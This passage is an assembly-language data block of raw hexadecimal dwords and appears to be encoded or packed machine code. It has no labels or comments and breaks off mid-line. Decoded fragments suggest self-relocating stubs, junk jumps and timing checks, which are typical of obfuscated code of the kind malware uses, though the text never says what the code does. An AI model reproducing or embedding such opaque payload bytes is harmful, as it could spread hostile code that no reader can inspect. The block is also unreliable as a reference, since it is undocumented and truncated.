7D000000h, 0FBECEC6Fh, 0C4AF7D97h, 8F80E25Fh dd 11BF3104h, 60261BE9h, 0AE853h, 3F2F0000h, 0AF024773h dd 939CB53h, 0D1815E58h, 2972C22Bh, 0D8EE8161h, 53711B1Eh dd 726EC281h, 815F41F1h, 1B1ED4C6h, 81D18A71h, 0FFA2F4FEh dd 16850FFFh, 0BF000000h, 43B806F4h, 23E9h, 26FEE600h dd 8F78355Ah, 0C4045145h, 4AE38192h, 0E9417271h, 0FFFFFF33h dd 0CF65A665h, 5860B981h, 0D966A6C4h, 21504EBh, 0B6E90000h dd 60000006h, 0BF0FA5B6h, 896061F1h, 72DDDB5h, 0E9C02B06h dd 13h, 4467CA45h, 3062EC25h, 8F4756C6h, 842C013Ah, 8B23B063h dd 0F9282454h, 2D3D8589h, 8D0F0607h, 8, 2830Fh, 61600000h dd 3CBEh, 0DBD3100h, 3060712h, 0F8242474h, 11E9AD66h, 98000000h dd 471AB9EBh, 186A7943h, 0BEC81737h, 562E4639h, 24244403h dd 3C08060h, 31119D8Bh, 90610607h, 108B0Fh, 0BE90000h dd 1E000000h, 15C5912Dh, 49B4C8ADh, 0F50E0AAh, 138Dh, 0EE900h dd 13810000h, 9CDC85Ch, 4DD2758h, 5F8B90C0h, 0C19D8990h dd 8B06071Ah, 95297840h, 6070235h, 28244403h, 10419531h dd 408B0607h, 858B6018h, 6072CD1h, 8A0F57h, 5B000000h dd 10E94061h, 47000000h, 9E56DFFAh, 2F527473h, 926EA2B2h dd 89E20198h, 73B1485h, 7E906h, 7270000h, 5DC38C61h, 9D295877h dd 6071041h, 0F78708Bh, 18Fh, 0C683F900h, 0F1BD891Ch, 3060727h dd 60242474h, 56D3BF0Fh, 9504B866h, 0BD8D6159h, 6071335h dd 0FF9ADFCh, 185h, 4403F900h, 880F2424h, 0Ch, 68F0Fh dd 0BD290000h, 60701CDh, 3EB960ABh, 89659D95h, 70BDD8Dh dd 0BD8D6106h, 6071651h, 14800Fh, 0FE90000h, 5000000h dd 8CDD9FB6h, 0ED17021Fh, 65D3AA5Ah, 0E9AD54AAh, 9, 0F099AD4Ch dd 19B938E0h, 244403AAh, 0CE924h, 322C0000h, 0CC7AEBC3h dd 0F2358D5h, 0F900A09h, 0E85h, 0F525000h, 8Bh, 60310F00h dd 50585A61h, 68F0Fh, 8B600000h, 616160D0h, 0CDB58990h dd 0AB060712h, 31798D89h, 85890607h, 6071B05h, 14DDBD8Dh dd 0ADF90607h, 1BB1BD29h, 44030607h, 0BD012824h, 6072BE9h dd 89F28B60h, 706C195h, 89AB6106h, 73009B5h, 8A605E06h dd 0D9B70FF5h, 148DFF61h, 8306073Bh, 73B14BDh, 10750006h dd 1C2444C7h, 0 dd 3F81B58Dh, 0E6FF0607h, 4403AD56h, 8B972824h, 5858ADFh dd 8406072Ch, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 72D3D85h, 0FF6FE906h dd 15EFFFFh, 70A958Dh, 0D9858906h, 8B060704h, 72D3D85h dd 6E906h, 38D70000h, 71A32C26h, 9E9E0D1h, 9000000h, 0E3C21471h dd 0F5D5C3C4h, 0CA816660h, 0E853D579h, 10h, 922FB26Ah dd 7240B8EFh, 0C9753296h, 5F1B3DDAh, 3615F5Fh, 714DD85h dd 1DB58906h, 0BE060712h, 0 dd 8E996F5h, 0BE000000h, 0A78A82A2h, 66C3322Ch, 5E9ADh dd 8DE80000h, 0C17CDE90h, 0BD8902E0h, 6070479h, 13358503h dd 5E90607h, 66000000h, 7E98C993h, 0B5950196h, 0AD060703h dd 10E860h, 81EA0000h, 4170028Eh, 753B4833h, 0F089C358h dd 0BD89CF70h, 6070959h, 0FE95Fh, 0E2640000h, 0CC1A087h dd 8103B691h, 0E0FFA065h, 4C8B6171h, 0F5FC2424h, 24244403h dd 42D9D89h, 44890607h, 0CE91C24h, 0CF000000h, 4BBC5773h dd 0F5E36963h, 96EFFE41h, 0B99D8B60h, 0E806072Fh, 5, 583DD979h dd 0E1BD01FBh, 5E060708h, 0BD29AC61h, 6070DD9h, 9D29C932h dd 6070991h, 8531C1FEh, 60730F5h, 830FD0D0h, 0A3h, 0F9B70F60h dd 5E9h, 983A5400h, 0D061FB19h, 8C830FD0h, 9000000h, 714218Dh dd 0FD0D006h, 7E82h, 0D0D0F900h, 75820Fh, 9D090000h, 6071ED9h dd 890FC9FEh, 0FFFFFFBCh, 20C483F8h, 2444C7F5h, 0FCh, 0E860FC00h dd 0Dh, 0A253B878h, 7C883645h, 22523922h, 25B58BBFh, 5E060714h dd 1B861FCh, 60000000h, 0F2B70F60h, 0BF9BD89h, 66610607h dd 75C3E081h, 68C0F61h, 89000000h, 71BC19Dh, 688D8D06h dd 0E906076Dh, 7, 9BD4253Ch, 0FF8347DAh, 0CD9589E1h, 0C606070Bh dd 72C0585h, 10E90006h, 0F8000000h, 77D4F147h, 53D2BA18h dd 0A089139Ch, 6199D673h, 3199D89h, 8C20607h, 0FE900h dd 58EE0000h, 63A239D2h, 0EF649DB6h, 34AB4C9Ah, 0E96050F3h dd 11h, 57EB9E7Eh, 0AD161544h, 5E811A8Bh, 261D9BEDh, 6DBB66FFh dd 348961D9h, 11E924h, 0CA00000h, 713D0826h, 568FB3E0h dd 5CFC498Eh, 8937BC43h, 74188B5h, 12E906h, 46950000h dd 0C7DA1BF2h, 0BC2554F1h, 12D16931h, 3FC3E662h, 0C38D89F8h dd 0F060741h, 0B80h, 6E900h, 5F630000h, 26A6044Bh, 4073B58Dh dd 60F90607h, 15BDBD2Bh, 0BD290607h, 60730F5h, 0A1858D61h dd 60005B8Eh, 3C9958Bh, 85890607h, 6070529h, 0FD0FF61h dd 786h, 1890F00h, 0F8000000h, 0BD85015Eh, 8906070Ch, 704DDBDh dd 8C0FC306h, 1, 88B58BFCh, 60060741h, 0DE9h, 437DA300h dd 4EB6D26Fh, 99884912h, 43BE4485h, 614F5E66h, 41C38D8Bh dd 85890607h, 60711FDh, 352BBF60h, 800F47E9h, 5, 22EB8166h dd 0B86171h, 0F000000h, 68Fh, 3DB53100h, 8906071Bh, 72C0985h dd 29D98B06h, 713598Dh, 9DE906h, 32F90000h, 61B52926h dd 0B2060730h, 6840F02h, 89000000h, 7220195h, 54E906h dd 0B5890000h, 6072A71h, 5E9C232h, 75000000h, 6365829Fh dd 751D7A05h, 0C1B5318Ah, 8A06070Ah, 0C8D3F9CCh, 0F8B70F60h dd 8423561h, 0FEF998D1h, 7890FCAh, 60000000h, 60C88B66h dd 13E96161h, 90000000h, 2668DCE9h, 0C615749Ch, 0DA213421h dd 43D7A225h, 0D20A68C9h, 0FFAA850Fh, 4BF9FFFFh, 9E9h dd 8E8C9600h, 83A40867h, 946F01Ch, 731E1BDh, 9E906h, 6AB00000h dd 787B4519h, 0BEBA165h, 5C850FDBh, 0F5FFFFFFh, 8E9CFh dd 58700000h, 5B62D9B4h, 0CA33h, 12E9h, 0FC145B00h, 0EC383D79h dd 0A77A6C07h, 829B1C5Ch, 0E9947189h, 0Ah, 4E2BB4D2h, 806F812Dh dd 922Ah, 1558501h, 6E90607h, 0E5000000h, 0ED8A5031h, 8900000Fh dd 7082D95h, 29000006h, 711C18Dh, 24858D06h, 0F506073Bh dd 0AAD8589h, 0F9600607h, 594BEFBBh, 858D6159h, 6073FBBh dd 17299589h, 85890607h, 6072E75h, 6E8h, 53361E00h, 0F4F8B20h dd 684h, 259D0900h, 59060710h, 2529B58Bh, 0C1810607h, 620Ah dd 1855BBh, 890F5100h, 2, 8B58C7B0h, 6860F11h, 8B000000h dd 71315BDh, 67EA8106h, 66719AB3h, 81E84CBFh, 26F3FDF2h dd 0F88B667Ah, 0A1B1F281h, 0C28B0E15h, 83018F52h, 0BD8901E9h dd 6070CC5h, 0E8494949h, 13h, 0CFB0FFF0h, 0EC921A22h, 1F2C2221h dd 0EBCEC0E2h, 8BF0F627h, 7142DB5h, 0F4B5806h, 1485h, 799D8900h dd 0E9060727h, 23h, 0C9EB927h, 0F839A844h, 0ADB503F5h dd 0E906072Fh, 0FFFFFF83h, 2E3F743Eh, 52FE7A6Dh, 59F343E1h dd 0EBBAAE75h, 14h, 3 dup(0) dd 8800h, 86858D00h, 89060743h, 7272585h, 0C7BD8306h, 60742h dd 12B840Fh, 85C60000h, 6072C05h, 47C46856h, 3481DF07h dd 182AFD24h, 2DB5FF0Bh, 8D06071Bh, 73B2485h, 89D0FF06h dd 742BB85h, 585C606h, 5606072Ch, 0D1386C68h, 24048190h dd 0BD77FE6h, 1B2DB5FFh, 858D0607h, 6073B24h, 8589D0FFh dd 60742BFh, 4E8046Ah, 0 dd 50000010h, 424448Bh, 4489008Bh, 8B580424h, 742CB85h dd 1F40506h, 0E0C10000h, 90509002h, 95FF006Ah, 60742BFh dd 42C38589h, 0D88B0607h, 0FFFFFFB8h, 2595FFFFh, 8B060727h dd 2595FFC3h, 0E9060727h, 8Dh, 42C7BD83h, 0F000607h, 185h dd 8B57C300h, 742C3BDh, 8583AB06h, 60742C3h, 83C35F04h dd 742C7BDh, 850F0006h, 1, 0AD8360C3h, 60742C3h, 0C39D8B04h dd 83060742h, 0FFFFC7Bh, 2685h, 4E800h, 80000000h, 8B500000h dd 8B042444h, 24448900h, 6A5804h, 95FF33FFh, 60742BBh dd 1DE9C361h, 68000000h, 0BDB26B3Ch, 0C4240481h, 6A424E14h dd 0FF33FF00h, 742BB95h, 0C3AD8306h, 4060742h, 0FFFFA8E9h dd 0D3E948FFh, 3D000009h, 0B5C563C6h, 0EA7D410Ah, 4071D123h dd 308539F5h, 0E5E4714Ch, 626D5E04h, 95B3A362h, 6075561Eh dd 0BEC863E0h, 0F8754D48h, 51228334h, 3FC03EE7h, 95871E07h dd 7F79540Eh, 95E1AF63h, 6F73541Eh, 0A4C863E3h, 0E2685248h dd 4D3C832Bh, 2BD725F9h, 0A1E47509h, 7F7D4342h, 94B3E272h dd 7B734150h, 0A2D163F5h, 0EC685307h, 8D2Bh, 62h dup(0) dd 3D000000h, 0BFCC63C6h, 0E26E5D06h, 5A218334h, 33D72DFBh dd 0A4E23444h, 697A1111h, 86E1ED63h, 6A724D1Fh, 0BED431A7h dd 0EA745D06h, 83FCA66h, 20D025EDh, 0B6F36709h, 22755416h dd 8C918E0Ch, 6B6F5915h, 0BED463ABh, 0E97B5B04h, 825CA66h dd 3FCA38F2h, 0A8EF7909h, 2C61430Dh, 0C0A5ED67h, 7A6F5D02h dd 0F0D531E6h, 0FF6F5B11h, 4723D366h, 3FC438F3h, 7, 47h dup(0) dd 3D000000h, 0A2C263C6h, 0E8715709h, 8228434h, 3ECA25E0h dd 0B6EB7C09h, 697D5342h, 8FA7A368h, 2E785605h, 0BECF36F5h dd 0AD7D5A01h, 5171CD2Fh, 72D73FFBh, 0B1F96D5Ah, 6365C07h dd 85ADD30Bh, 22794B11h, 0BCCF36A7h, 0AD7E5507h, 4E71D72Fh dd 72C825E6h, 0AAE77144h, 6D384810h, 92E1E768h, 6F684B15h dd 0A98137F5h, 0AD684107h, 4F3ED136h, 7CC82BE6h, 61h dup(0) dd 3D000000h, 0B5CD2AC1h, 0FF755748h, 5C21D634h, 7C842EF1h dd 0ACE24009h, 7E681111h, 81B3E469h, 6F74181Dh, 0B5C363F4h dd 0E03A5A0Dh, 5838CD27h, 26C426E1h, 0A4AA704Ch, 6138550Ch dd 85A3FA67h, 7A75357Ah, 0B98130A0h, 0EE7F5206h, 835C632h dd 338533F6h, 0B7E34209h, 63384217h, 92A2A374h, 6B775B11h dd 84816DE3h, 0AD695D00h, 4D3DCA20h, 3CCA3DB4h, 0B2AA600Eh dd 2C73430Dh, 8DB8ED67h, 20794A1Fh, 0E0h dup(0) dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0) dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0 dd 0DDE90000h, 6A000028h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 2C0FC351h, 5297B7DAh dd 3880Fh, 0B70F0000h, 8BFC5AD3h, 71D6D9Dh, 89C08B06h dd 72499B5h, 0F5BD8306h, 6070Fh, 0BD830975h, 6073001h dd 50137400h, 0B8C08B53h, 1, 0AB499D8Dh, 0D3FF0609h, 0BD83585Bh dd 6073001h, 50117400h, 1B853h, 9D8D0000h, 609A9FAh, 585BD3FFh dd 13DDBD89h, 0D08A0607h, 26619589h, 0C08B0607h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D3C35040h, 5307B92Eh dd 0B63E27E3h, 659D8B75h, 83060725h, 71101BDh, 840F0006h dd 1B9h, 61CB8166h, 19BD83DAh, 6070Ah, 1A7840Fh, 0AE90000h dd 0B7000000h, 3F8BB0FBh, 0A631433Fh, 8BF86009h, 70A1985h dd 0CE906h, 0B6380000h, 717E6914h, 96037DE3h, 0E8051941h dd 0F000003h, 38Ah, 51C78000h, 66605650h, 5A61CA8Bh, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0DC1AC351h, 31407533h, 71C919Dh, 0F606006h dd 8D09C3B7h, 60706C1h, 858D6161h, 6074DD3h, 175D8589h dd 50F50607h, 89D68B66h, 9D892404h, 60708D9h, 0D119523h dd 858D0607h, 6074DB1h, 0B79001B3h, 0CFBA5087h, 90530DFFh dd 95FFD18Bh, 6072B69h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 3AC35242h, 0AC96643Eh, 85422482h, 83D08B66h dd 6A0CC4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 1EC72C3h, 0FD8765EEh, 0E9533591h, 14h, 66995B00h dd 73A8D9Ah, 36998BDAh, 4F20B774h, 0F14443E4h, 0B1858D5Ah dd 6A06074Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0DDBEC356h, 8BC5EFD5h, 72DDD95h dd 90D08A06h, 505096B6h, 0AE95752h, 8C000000h, 66A12667h dd 7DB727D2h, 310F5A8Fh, 8B665250h, 0B2310FD6h, 5A585A77h dd 95899058h, 6070FC1h, 26ADA8Ah, 36D8D01h, 95FF0607h dd 6AED14h, 53C7BA66h, 51006A61h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 75F652A5h, 0E485C7B5h dd 106074Dh, 57000000h, 32D59589h, 505A0607h, 73B1BB66h dd 8B243489h, 95B589D8h, 6A06074Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0DC28C352h dd 0CFAA8EF9h, 0B350BB7Ch, 0BD835B7Ch, 607218Dh, 26850F01h dd 8B000000h, 71B319Dh, 5F88306h, 17850Fh, 0B80000h, 9000000h dd 71FB9BDh, 6870F06h, 31000000h, 71F5995h, 6DBD8306h dd 60722h, 1B840Fh, 60F80000h, 83D9D8Bh, 95FF0607h, 607226Dh dd 17359D31h, 8B610607h, 72E799Dh, 61BD8306h, 60725h, 4D840Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 6AD111C3h, 0CB507820h, 89702604h, 701BD8Dh dd 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 602935C3h, 858BD68Bh, 60706DDh dd 0B15958Bh, 0C0830607h, 39B58902h, 89060726h, 74D8D85h dd 0BD896006h, 6072649h, 111D9D8Bh, 3610607h, 707F19Dh dd 0FF00C606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 87C35747h, 0DE77EA99h, 0CC25E4D9h, 0DDBD89EEh dd 0C6060726h, 72C0585h, 6A5306h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0D8053CC3h, 0CB8173E2h dd 11940B24h, 0E6E08060h, 61D1BF0Fh, 7AA768FCh, 0BB66CD25h dd 34815141h, 94327F24h, 0ADB5FF31h, 8B060731h, 7168195h dd 1F858D06h, 6A060A7Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 1041C355h, 886CBD13h dd 26F9BD01h, 8B600607h, 0A5C181F9h, 610FD38Dh, 0F3B7D0FFh dd 16B58589h, 55BA0607h, 832F4309h, 710A1BDh, 850F0106h dd 137h, 26F58D29h, 81610607h, 0E89A3E2h, 585C629h, 4506072Ch dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 69C35242h dd 0E8EB6847h, 4, 0DA6038C2h, 0E850D08Bh, 13h, 56FCBB8Ah dd 7B9223EDh, 82423B1Fh, 1EE9C2EAh, 5A451E2Eh, 424448Bh dd 5AF38A52h, 0FE8008Bh, 0A2000000h, 0CB1D1EB6h, 1434CE13h dd 0ED52F287h, 0B9B6E167h, 2444895Bh, 0BB665204h, 585ABFD7h dd 85F9BB66h, 31ADB5FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 7D37CEC3h, 3C41430Fh dd 0C7807BC2h, 11E858h, 0A03A0000h, 13BE62FAh, 4A33DB73h dd 0A9965BD7h, 66E266F1h, 0A93FEB81h, 1F858D5Ah, 0BA060A7Bh dd 1C4F81CFh, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0A35E1FC3h, 6850Fh, 8D290000h, 6070345h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 8D89F8C3h, 60719A1h, 820FD0FFh, 3, 83F6E780h dd 71501BDh, 850F0106h, 105h, 5B5EB756h, 6DD858Bh, 6A0607h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8D89E3C3h, 6071689h, 0C1E9FCh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0F51FBC3h dd 1989h, 14E900h, 9E650000h, 4A3F7000h, 0BEE8F3Bh, 0DE35381Ch dd 0BBA5CB8Fh, 295B9721h, 72E09BDh, 0D7BF0F06h, 0C8BA6690h dd 41B250D4h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0D79868AEh, 8D899A99h, 6071BF5h dd 8A0F146Ah, 4, 0B8CCBB66h, 16B595FFh, 0C2800607h, 6A58BCh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 400F64C3h, 43EEF723h, 60828196h, 1CFDBD8Bh, 23B40607h dd 0C9958B61h, 8006070Ch, 850F0038h, 0FFFFFF7Ch, 278476BBh dd 100C64Bh, 8D0961F5h, 6070E7Dh, 2DDBD83h, 0F000607h dd 3A84h, 0AFBB6600h, 0FFF6AADh, 95FFDABFh, 60716B5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 44C35646h, 0D78B66F9h dd 0FFFFD0E9h, 0ADBD31FFh, 0C706071Eh, 702DD85h, 106h dd 66BB6600h, 998589DAh, 8006074Dh, 8A5027F6h, 240489DDh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 6AC35040h dd 0FC3BE15Ah, 0CB8166D6h, 23604149h, 70E3D85h, 0E5858B06h dd 61060709h, 9FBA6660h, 0E8056A33h, 13h, 0DB1A25C2h, 2246C578h dd 0D344956Bh, 0A9BA09DFh, 6694AF4Dh, 8D5ADE8Bh, 74DB185h dd 0FD952306h, 5006070Ah, 0D5DFBB66h, 0F240489h, 858DDABFh dd 6074DA1h, 0B1958B50h, 5A06072Eh, 28B0F50h, 8A000000h dd 240489F9h, 0D95FFFCh, 6A060732h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 34B0C352h dd 448D8D26h, 80060776h, 0C00B5BC7h, 858D1174h, 6074DB1h dd 89D1FF50h, 74DCF85h dd 0C70AEB06h, 74DCF85h, 0FFFFFF06h, 7E8FFh, 856B0000h dd 5F48674Eh, 6A5B86h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0FC2843C3h, 0F70498BBh, 0B7BB6657h dd 6A6197h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0EE808CC3h, 0D38B537Ah, 585C65Bh, 4D06072Ch dd 4E8F9h, 76A80000h, 0D68BA435h, 24448B50h, 26BA6604h dd 8A008BBCh, 244489F0h, 10E804h, 0B3340000h, 64AF9D83h dd 0E5E9DBF1h, 58A12009h, 0BE80C4Fh, 37000000h, 5B71C665h dd 0A0E9DCB8h, 52508393h, 585A310Fh, 29585B5Bh, 725518Dh dd 6850F06h, 89000000h, 72AC18Dh, 0B1B5FF06h, 0F060713h dd 382h, 0D78B6600h, 7B1F858Dh, 880F060Ah, 0 dd 0EE80D0FFh, 0B98589E3h, 8B06071Bh, 716F59Dh, 0A98D8906h dd 0C6060728h, 72C0585h, 0C3814506h, 1CBBA45Bh, 0A330E068h dd 81D98A18h, 38892404h, 6A75CFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 4227B7C3h, 9B76FEB6h dd 0ADB5FF4Ch, 3060731h, 70FAD9Dh, 1F858D06h, 66060A7Bh dd 0FFB2FABAh, 5E8D0h, 2B950000h, 66860889h, 5B436BBBh dd 8589FFB3h, 60707D1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0A2C35040h, 9589B0C6h, 6071669h, 8166D28Bh dd 66C376F3h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 3D5409C3h, 8B77FDA5h, 0D1BD89DFh dd 0F6060715h, 840F04C1h, 23Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0A5C35141h, 0E0800534h, 0E950DDE8h dd 9, 68D51C96h, 59B5E3A9h, 1CE95A57h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0E578C352h, 0B719509h, 0B58B0607h, 6072FBDh, 1AF5958Bh dd 0C6810607h, 1180h, 0D733A5BBh, 6DBD833Eh, 60712h, 27850Fh dd 0E3800000h, 0C5E990h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 7E523DC3h, 3E8324h, 9D840Fh dd 0EE90000h, 0DC000000h, 749C2668h, 3421C615h, 0A225DA21h dd 0BD2960D7h, 607089Dh, 6A146Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 958B9AC3h, 6070029h dd 16B595FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 135E8FC3h, 30A67613h, 8B9DCEDAh dd 71D8995h, 6A6106h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0D0BBEEC3h, 6F1C7007h, 0E9887B35h dd 0FFFFFF5Dh, 0C7D88B66h, 106h, 83FD8A00h, 74D99BDh, 850F0506h dd 0DAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 7FC35242h, 83B31A09h, 7B5B589h, 0B58B0607h, 60707D1h dd 2D8ACB81h, 64B969F6h, 0E9000000h, 11h, 5FE8925Eh, 0BCCB066h dd 805DE26Ah, 276EB1C8h, 0E83E8003h, 0E840Fh, 8B660000h dd 1CE9D1h, 958B0000h, 60709F1h, 0C2057E80h, 5A840Fh, 95890000h dd 6070401h, 7D27CA81h, 6A464D2Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0F018C350h dd 0B1B3A269h, 66533567h, 5A544CBBh, 816624B6h, 49C31DEAh dd 0FF9B850Fh, 8B66FFFFh, 20E9D9h, 8B0F0000h, 8, 31958B50h dd 5A060732h, 2D55B589h, 810F0607h, 6, 2649950Bh, 89580607h dd 7146D95h, 5BD8306h, 60732h, 0C3840Fh, 0B5090000h, 6070951h dd 0C6DF8B60h, 72C0585h, 95015406h, 6070CA5h, 0C6DF3268h dd 0D98B66E7h, 0C2240481h, 8A1787DFh, 0B5FFFCDCh, 60731ADh dd 8D13EA80h, 0A7B1F85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 439751B6h, 0DF8BD0FFh dd 0F98A006Ah, 3205B5FFh, 0BD890607h, 6070B9Dh, 148D9D01h dd 0D0FF0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0DFC35545h, 64FD0041h, 2D95894Fh, 51060715h, 4BBFBB66h dd 6A615Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0DC9B26C3h, 46AF8FE2h, 0E585C734h, 1060710h dd 60000000h, 0FF5BA66h, 11D13168h, 11E9E2h, 47170000h dd 0B708D0F6h, 0C9F86DD4h, 9A7F9187h, 81AA87FCh, 2F4F2404h dd 6E91DEEh, 0D1000000h, 73A998AAh, 6A8DB309h, 0FFB4B3FFh dd 7206995h, 18D8906h, 61060701h, 1F7D9589h, 0BB900607h dd 4BC2EC2Ah, 5ABA6650h, 9D8B9000h, 6071B51h, 2635858Bh dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 834684C3h, 21F04046h, 6830F3Eh, 8B000000h dd 7027195h, 0FC00B06h, 0F84h, 90BA6600h, 3195FF56h, 66060706h dd 31C2CA81h, 144D85C7h, 10607h, 83F90000h, 70D15BDh, 840F0006h dd 2Eh, 60DBD89h, 95FF0607h, 6071045h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0D4C35141h, 29224C83h, 0BD83F574h dd 60725FDh, 16840F00h, 89000000h, 70BDD95h, 0EE60BA06h dd 95FF2F48h, 6072FE9h, 0C5DB8166h, 0B5BD8344h, 60715h dd 4D840Fh, 9D330000h, 60731B5h, 3171BD83h, 0F000607h dd 3A85h, 0DD958B00h, 0FF060727h, 7324D95h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0BE252EE7h, 1001368Ch, 8B0F5A53h, 3, 83DFBF0Fh, 73245BDh dd 840F0006h, 37h, 15F99D8Bh, 0DB810607h, 18FFC7AFh, 9D58581h dd 40030607h, 830F0000h, 3, 81D08B66h, 7265D85h, 400306h dd 9D8B6000h, 6070BFDh, 0E51B501h, 0F610607h, 8DD08B31h dd 75C528Dh, 0D2BF0F06h, 9D8B0189h, 6070BB5h, 6AC233h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0FFF415C3h, 3A827294h, 56044189h, 17518D29h, 0F5B0607h dd 310FDFB7h, 2E25BD01h, 81660607h, 8D8B1CD3h, 75C658Dh dd 919D8B06h, 8B060706h, 721F59Dh, 9018906h, 721E98Dh dd 0DFB70F06h, 0D68BC233h, 8B044189h, 7020D95h, 5BD8306h dd 60706h, 21840Fh, 0D6800000h, 9995FFACh, 0E906070Dh dd 7, 74C00873h, 0F6E37A9h, 68Eh, 0CD958B00h, 83060711h dd 71265BDh, 850F0106h, 4Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 23C35747h, 5BBA5E99h, 0E977F4AFh dd 27h, 0C7CA8166h, 59B58B60h, 0C706075Dh, 6, 81B58B00h dd 0C706075Bh, 6, 8D89CF00h, 6072E25h, 83DA8B66h, 7144DBDh dd 840F0006h, 111h, 5E9h, 0F564F300h, 0BD832D9Ch, 60700E1h dd 0D1850F01h, 56000000h, 8D09EFBAh, 12E95B05h, 22000000h dd 0E4C1C8B0h, 0C6576DCDh, 297DC1D3h, 946FD55Dh, 8D8D8B22h dd 8106074Dh, 0CE7DB3D3h, 15953322h, 0C6060720h, 0D88B0001h dd 0E9F98A60h, 6, 7E571567h, 0C768E157h, 6668E5C6h, 3481D18Bh dd 0E5C64724h, 0BF0F6068h, 61AAB3D3h, 14E8FF6Ah, 0C8000000h dd 73FD89E6h, 9C5ECE1Dh, 9899854Ch, 427D702Eh, 801E0224h dd 0FF5B1DEAh, 7206995h, 0B2E4BA06h, 8B610CA8h, 71D0995h dd 6595FF06h, 6A060732h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 6678C356h, 8BC0C2CBh dd 74D8D8Dh, 0ED9D8B06h, 0FE06072Ch, 7E801h, 6FF20000h dd 847FBB2Bh, 0D99D8B94h, 5B060716h, 2735BD83h, 0F010607h dd 1C85h, 9E96000h, 2F000000h, 5ED28734h, 0E1286E78h, 6880F61h dd 31000000h, 7038D9Dh, 6AC08B06h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 85C6C356h dd 0BD0941BBh, 60715B1h, 0E46FDA81h dd 0BD830EE7h, 6070FF5h, 83097500h, 73001BDh, 1A740006h dd 0C08B5350h, 9D5858Bh, 85890607h, 60709D5h, 0ACA79D8Dh dd 0D3FF0609h, 0BD83585Bh, 6073001h, 50187400h, 0D5858B53h dd 89060709h, 709D585h, 969D8D06h, 0FF0609A9h, 6A585BD3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 2CE2C355h, 0D5BA66F5h, 0D58D8997h, 8B060707h dd 0D6BF0FC0h, 144DBD83h, 0F000607h, 1585h, 837CB300h dd 72541BDh, 